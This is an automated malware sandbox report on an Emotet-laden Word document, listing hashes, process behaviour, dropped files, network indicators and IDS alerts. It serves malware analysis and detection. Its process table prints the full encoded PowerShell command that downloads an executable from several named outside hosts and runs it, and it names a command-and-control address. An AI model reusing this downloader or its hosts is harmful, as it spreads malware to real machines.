analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Dokumentation-2019.doc

Full analysis: https://app.any.run/tasks/2c0f1760-1c8a-4ac1-9113-05ceb0c4e2ff
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 19, 2019, 06:14:35
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Unbranded Frozen Mouse Regional, Subject: Personal Loan Account, Author: Amiya D'Amore, Comments: cross-platform card, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 18 11:25:00 2019, Last Saved Time/Date: Wed Sep 18 11:25:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:

B789F9A9CAB5A5C9822728EFAD1EDED6

SHA1:

D21E25163DFB670744EBE8AF49B1A3EB741CC338

SHA256:

F1D58958C77F6F911246F6D9AC35D9BC221039E1ADBAC59B5F4B77C8C573DBFB

SSDEEP:

6144:Mxpm1VmTG3cBubZMHY6I2KDNTto08WQRqLkI47NSU4jJntATfDU9cj1jVkAX:Mxpm1VmTG3cBubZMHY6I2KDNTto08WQp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 553.exe (PID: 3836)
      • 553.exe (PID: 2444)
      • 553.exe (PID: 796)
      • 553.exe (PID: 3720)
      • easywindow.exe (PID: 3760)
      • easywindow.exe (PID: 2848)
      • easywindow.exe (PID: 3960)
      • easywindow.exe (PID: 2960)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2328)

    • Emotet process was detected

      • 553.exe (PID: 796)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2328)

    • PowerShell script executed

      • powershell.exe (PID: 2328)

    • Executed via WMI

      • powershell.exe (PID: 2328)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2328)
      • 553.exe (PID: 796)

    • Starts itself from another location

      • 553.exe (PID: 796)

    • Application launched itself

      • 553.exe (PID: 3720)
      • easywindow.exe (PID: 2848)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3400)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3400)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Unbranded Frozen Mouse Regional
Subject: Personal Loan Account
Author: Amiya D'Amore
Keywords: -
Comments: cross-platform card
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:09:18 10:25:00
ModifyDate: 2019:09:18 10:25:00
Pages: 1
Words: 95
Characters: 547
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Lynch and Sons
Lines: 4
Paragraphs: 1
CharCountWithSpaces: 641
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Stamm
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
10
Malicious processes
4
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 553.exe no specs 553.exe no specs 553.exe no specs #EMOTET 553.exe easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs easywindow.exe

Process information

PID
CMD
Path
Indicators
Parent process
3400"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Dokumentation-2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2328powershell -encod JABiAGsAYQB0AGEAdwBaAD0AJwBzAHcAaQBRAEsASgA1ACcAOwAkAGIAQgBNAGoAdgBaAG4AIAA9ACAAJwA1ADUAMwAnADsAJABrAGkASABSADMASQBiAD0AJwBWADQATwBCAEMARwBYACcAOwAkAEQASwBpAE8AWABiAGsAdwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgBCAE0AagB2AFoAbgArACcALgBlAHgAZQAnADsAJABYAEkAYgA5AG0AQQA2AD0AJwBOADMARABxAE0ASAAnADsAJABaAGMAdAB6AEUARgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwAaQBlAE4AdAA7ACQAcgB3AEYAMABzAEMAQwB6AD0AJwBoAHQAdABwADoALwAvAGIAcgBpAGsAZQBlAC4AYwBvAG0ALwBnAGEAbABsAGUAcgB5AC8ANABkAGMAbQBuADcAMgA0ADMAMAAvAEAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AZQBjAGgAZQBsAG8AbgBhAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdAB5AGgANQA3ADcANgA5AC8AQABoAHQAdABwADoALwAvAGcAcgB1AHAAbwBlAHEALgBjAG8AbQAvAGwAZQBkAHMALwBkAGEAbAA1ADIAMwAwADEALwBAAGgAdAB0AHAAOgAvAC8AawBpAHIAcwB0AGUAbgBiAGkAagBsAHMAbQBhAC4AYwBvAG0ALwBlAGMAcAA0AC8AbQBoAGgAMgAwADMAMAA1AC8AQABoAHQAdABwADoALwAvAHAAYQBpAGYAaQAuAG4AZQB0AC8AcwBzAGYAbQAvAGIAbQA4ADQAMAAvACcALgAiAFMAUABgAGwAaQBUACIAKAAnAEAAJwApADsAJAB1AGEAVABqAGsAMABMAD0AJwBrAG0AegBjAEsAegB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABqADAAbgBvAG8ATwBpACAAaQBuACAAJAByAHcARgAwAHMAQwBDAHoAKQB7AHQAcgB5AHsAJABaAGMAdAB6AEUARgAuACIAZABgAE8AYABXAE4AbABgAE8AQQBEAEYAaQBMAGUAIgAoACQAagAwAG4AbwBvAE8AaQAsACAAJABEAEsAaQBPAFgAYgBrAHcAKQA7ACQASQBJAHYAOABIAFgAPQAnAEoAdgBiAHUAcQBIADAAaQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0ACcAKwAnAGUAbQAnACkAIAAkAEQASwBpAE8AWABiAGsAdwApAC4AIgBMAGUAbgBgAEcAdABIACIAIAAtAGcAZQAgADIANAAwADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAVAAiACgAJABEAEsAaQBPAFgAYgBrAHcAKQA7ACQARQA0AEoAUQBDAE0APQAnAGkAcwBGAEUAUABaACcAOwBiAHIAZQBhAGsAOwAkAHYAdQA5AFMANwBFAGwAdwA9ACcAaQBCAGYAegA2ADkAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAEEANABzAHUAegA9ACcATwBGAHEATABWAGsASgBEACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2444"C:\Users\admin\553.exe" C:\Users\admin\553.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3720"C:\Users\admin\553.exe" C:\Users\admin\553.exe—553.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3836--12e39b71C:\Users\admin\553.exe—553.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
796--12e39b71C:\Users\admin\553.exe
553.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3960"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—553.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2848"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2960--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3760--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe
easywindow.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 763
Read events
1 282
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
10
Text files
0
Unknown types
43

Dropped files

PID
Process
Filename
Type
3400WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR98F9.tmp.cvr —
MD5:—
SHA256:—
3400WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:FE201A162627021161FBB99000E7FCB8
SHA256:F20649DFDA8080B4C662E06BDC487341B979E2AEAEF9684FFD68644B5997D198
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A6B34353.wmfwmf
MD5:CD4651C929691E7A7BBACD4AF46B65C4
SHA256:02070F7D9C7A302D36842FB76F963893B7C82F2DE50EAD81042B5F209EA32F5F
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B11ED44F.wmfwmf
MD5:071CCAB283F5AE8FED4350F1750EE693
SHA256:F965BC6B4CDCEC162C37A3F7131D49E082D0CB9ADE8FE2C54D0C2B1BC932BD31
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ED768F45.wmfwmf
MD5:88A242FC9912353D383908B84DFBC711
SHA256:BF06EA7C0D813BD5AA7563B790496EF0F2E1F97E279D8422BAA5435BF677DC7A
3400WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:96837BABE98C07497D19EFFA8683CF9F
SHA256:2AE71314A2E2374D939E0727C3D5B2487BD85A90E33D5692B991D6A07947A5DA
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2AA213D.wmfwmf
MD5:1AEF4F1FC13302C6158DBB65C9999A22
SHA256:496DE4AD9CC53D9F02664119CD794AF1A59646F2A923FFCAF4761EAB304F33C1
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E8F2C69B.wmfwmf
MD5:74948D4AC4C5478AF7ADB3E1E17A937F
SHA256:9990E78F56E9EE9770D0CACE57D2968F70755E6E50C3257FB11FD1FADFF852CA
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\66A63661.wmfwmf
MD5:1B52A7CBD6ACF67FC047DFDA9ACB4FA7
SHA256:DE60717B9A3BC270D6DB0B1D2B58D761B22356C08FEDAF312CD8E2919F01D047
3400WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B962817.wmfwmf
MD5:C0D5A514415F26004524F213562E62A6
SHA256:02AD1894AC4CB1188481EB7651A52E52AFC3DB0C9AFAF838E9850D45B763317E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3760
easywindow.exe
POST
—
114.79.134.129:443
http://114.79.134.129:443/acquire/schema/ringin/merge/
IN
—
—
malicious
2328
powershell.exe
GET
200
83.137.145.97:80
http://kirstenbijlsma.com/ecp4/mhh20305/
NL
executable
512 Kb
suspicious
2328
powershell.exe
GET
404
185.57.197.56:80
http://grupoeq.com/leds/dal52301/
ES
html
273 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2328
powershell.exe
129.121.15.236:80
brikee.com
Colo4, LLC
US
suspicious
3760
easywindow.exe
114.79.134.129:443
—
D-Vois Broadband Pvt Ltd
IN
malicious
2328
powershell.exe
185.57.197.56:80
grupoeq.com
Tecnocratica Centro de Datos, S.L.
ES
suspicious
2328
powershell.exe
83.137.145.97:80
kirstenbijlsma.com
Duocast B.V.
NL
suspicious

DNS requests

Domain
IP
Reputation
brikee.com
  • 129.121.15.236
suspicious
www.echelona.net
  • —
unknown
grupoeq.com
  • 185.57.197.56
suspicious
kirstenbijlsma.com
  • 83.137.145.97
suspicious

Threats

PID
Process
Class
Message
2328
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2328
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2328
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Dokumentation-2019.doc